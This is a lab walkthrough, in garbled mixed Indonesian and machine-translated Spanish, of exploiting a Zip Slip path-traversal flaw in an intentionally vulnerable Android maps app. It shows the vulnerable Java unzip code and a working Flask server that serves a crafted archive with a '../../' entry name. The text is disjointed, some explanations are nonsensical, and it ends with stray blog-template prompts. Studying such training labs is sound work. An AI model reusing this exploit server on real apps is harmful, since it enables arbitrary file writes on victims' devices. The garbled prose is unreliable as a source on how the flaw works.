Zip Slip es una vulnerabilidad grave que está muy extendida en el proceso de extracción de archivos y que permite a los atacantes escribir cualquier archivo en el sistema. Normalmente, esto da como resultado una ejecución remota de código (RCE) . El equipo de Snyk Security descubrió y divulgó de manera responsable la vulnerabilidad antes de que se hiciera pública el 5 de junio de 2018. El problema afecta a miles de proyectos, incluidos los que pertenecen a grandes empresas como HP, Amazon, Apache, Pivotal y muchas más.
Zip Slip se explota a través de archivos especialmente diseñados con nombres de archivo que incluyen navegación de directorios (eg, ../../evil.sh)
. Esta vulnerabilidad puede ocurrir en muchos formatos de archivo, como tar, ghz, jar, war, cpio, apk, rar y 7z.
El núcleo de esta vulnerabilidad es el cruce de directorios, donde un atacante puede acceder a partes de los archivos del sistema fuera de la carpeta de destino. El atacante puede entonces anular el archivo ejecutable y ejecutarlo de forma remota, o esperar a que el sistema o el usuario llamen al archivo, para poder ejecutar comandos en la máquina de la víctima. Además, esta vulnerabilidad también puede causar daños al sobrescribir archivos de configuración u otros recursos sensibles, y puede explotarse tanto en la máquina del usuario como en el servidor.
Kali ini untuk mempelajari cara exploit ZIP Slip Vulnerability nya memakai aplikasi android yang sengaja rentan dibuat untuk praktikum ini.
Ini adalah aplikasi seperti Google Maps tetapi untuk menambahkan mapas locales kita harus mendownload recurso nya dengan cara haga clic en el botón + di layar.
Tetapi sebelum kita análisis Flow dari cara kerja apk ini kita harus memakai apk Burpsuite. Untuk yang belum tau apk Burpsuite adalah aplikasi yang digunakan untuk menguji keamanan aplikasi web dan mobile. Alat ini berfungsi untuk mendeteksi kerentanan, menganalisis, dan mengatasi masalah keamanan .
Anda bisa mendownload Herramientas nya dengan Haga clic en el enlace para acceder a:
https://portswigger.net/burp/communitydownload
Berikut adalah hasil Intercept ketika kita mau menambahkan mapas nya, dan bisa di análisis kalau apk ini rentan karena permintaan API nya masih memakai protocolo HTTP no menggunakan HTTPS yang dimana memungkinkan Atacante tidak hanya bisa melihat tráfico yang di kirim dan diterima, Tetapi juga bisa manipular/memodifikasi solicitud y respuesta nya seca texto en claro.
Dan fakta nya bahwa ketika masih memakai HTTP dapat membuka seluruh area permukaan serangan, Contohnya jenis serangan yang sedang kita buat ini.
Bisa dilihat juga menggunakan Tools JADX para melakukan Ingeniería inversa yang dimana kita bisa melakukan análisis estático pada sebuah aplikasi memungkinkan penyerang untuk memahami struktur dan logika aplikasi.
Configure el análisis del archivo network_security_config.xml
y aplique la configuración configurada cleartextTrafficPermitted="true"
. Sehingga konfigurasi ini mengizinkan clear text trafico di setiap permintaan untuk domain yang diizinkan. Tetapi apakah domain ini benar-benar digunakan untuk CleartextTraffic conciso. Bisa saja ini dibuat hanya untuk pengujian / tidak digunakan dalam producción.
ini adalah Hasil interceptar ketika kita mendescargar mapas nya yang dimana dia mengambil archivo ZIP en formato .ghz
Dan mencoba mendownload file .ghz secara manual dengan copas di laptop. Berikut adalah isi archivo ZIP conciso.
Untuk mengetahui lokasi data yang di descomprimir oleh aplikasi kita bisa gunakan comando find / | grep australia oceania_nauru.map
di adb shell mobile emulator nya dan pastikan juga kalau kita sudah memiliki akses root di emulatornya.
Bisa dilihat kalau ruta del archivo yang di descomprimir ada di:
/data/media/0/Android/data/io.hextree.pocketmaps/files/Download/pocketmaps/maps/
Ini juga menunjukkan kepada kita bahwa aplikasi benar-benar meng-unzip file map nya.
Mari kita lihat lebih dekat pada archivo arbitrario escribir vulnerabilidad en la aplicación, Seperti yang sudah kita ketahui problema nya terkait dengan Archivo ZIP Manejo de mapas. Lakukan lagi análisis estático con la palabra clave mencari: ZipEntry
agar mengetahui class kode nya meng-handle file ZIP mapnya.
Sebelum kita análisis lebih dalam código nya, saya akan mengikuti panduan dari snyk team untuk mencari kode yang sering diimplementasi tetapi rentan. Berikut adalah salah satu panduan yang khusus untuk bahasa java, Bisa baca lebih lanjut: https://github.com/snyk/zip-slip-vulnerability
Notas:
Kode berikut rentan terhadap serangan zip slip karena tidak melakukan validasi yang memadai terhadap jalur file dalam arsip zip sebelum mengekstraknya. Entonces, e.getName()
dapat mengembalikan nama file dengan jalur relatif yang berbahaya, seperti ../../malicious.sh
. Ini berarti file conciso pero bisa diekstrak di luar destinationDir
yang ditentukan.
InputStream input = zip.getInputStream(e); IOUtils.copy(input, write(f));
Setelah file dibuat, konten file langsung disalin tanpa memeriksa jalur keluaran apakah sudah aman atau tidak. Jika jalur conciso menuju ke lokasi berbahaya, seperti direktori root sistem atau carpeta lain yang seharusnya tidak dapat diakses oleh aplikasi, itu bisa sangat berbahaya.
Karena kita sudah mengetahui kode yang rentan sesuai panduan mari kita código de análisis di apk nya:
Camino Pembuatan Tanpa Validasi:
String str3 = file.getAbsolutePath() + File.separator + nextEntry.getName();
Aquí, seleccione el archivo ( str3
) que contiene la ruta de acceso deseada del directorio ( file.getAbsolutePath()
) con el nombre de la entrada zip ( nextEntry.getName()
). Por ejemplo, nextEntry.getName()
../../
, que elimina el archivo de la dirección de correo electrónico ( file
).
Seleccione la ruta dibuat, archivo atau direktori dibuat langsung:
if (nextEntry.isDirectory()) { new File(str3).mkdir(); } else { e(zipInputStream, str3, eVar, "" + i3 + " Unzipping " + str2, size, null); }
Ini membuat atau menulis file tanpa memastikan bahwa str3
adalah jalur yang aman.
Para tahap ini saya menyiapkan 2 hal para entorno serangan nya:
Configuración del entorno de simulación HTTP dinámico : extensión HTTP Mock dari burpsuite ini dapat mengubah respuesta asli dari aplikasinya dengan mencocokkan reglas yang sudah kita kirimkan dari http history
maupun input manual
. Pada contoh dibawah ini saya merubah respuesta nya dengan memilih Redirigir a URL, sehingga setiap respuesta aplikasi secacara tiempo real akan mengambil respuesta dari HTTP Mock.
2. Configurar el entorno del servidor local: Karena setiap request dari aturan yang kita cocokkan redirige el servidor local malicioso jadi kita buat untuk zip malicioso nya:
from flask import Flask, jsonify, send_file import zipfile, io app = Flask(__name__) @app.route('/map.json') def map_json(): response = { "maps-0.13.0_0-path": "maps", "maps-0.13.0_0": [ {"name": "maliciousmaps_USA", "size": "300k", "time": "2025-01"}, ] } return jsonify(response) @app.route('/map.ghz') def map_archive(): # Create a ZipFile object zip_buffer = io.BytesIO() filename = "../../downloads/hax" with zipfile.ZipFile(zip_buffer, 'w', zipfile.ZIP_DEFLATED) as zip_file: content = "You have been hacked" zip_file.writestr(filename, content) zip_buffer.seek(0) return send_file( zip_buffer, mimetype='application/zip', as_attachment=True, download_name='map.ghz' ) if __name__ == '__main__': app.run(debug=True, port=1234)
¿Por qué eres una autoridad en seguridad digital?
Los delitos informáticos están en constante evolución. ¿Qué novedades hay en el mundo de los delitos informáticos que la comunidad de HackerNoon podría conocer para luchar contra los estafadores digitales?
Troyanos, malware, spyware y más. ¿Qué novedades hay sobre los últimos errores que podrían estar infectando nuestras queridas PC y robando nuestra información? Pero no acaba ahí: ¡cuéntanos qué otros males cibernéticos nos acechan!
¿Cómo se está adaptando a las nuevas tecnologías con vulnerabilidades? Los hogares inteligentes, la inteligencia artificial y la Internet de las cosas tienen sus vulnerabilidades.
Asegúrese de eliminar toda la información anterior antes de escribir y enviar su borrador. ¡Gracias!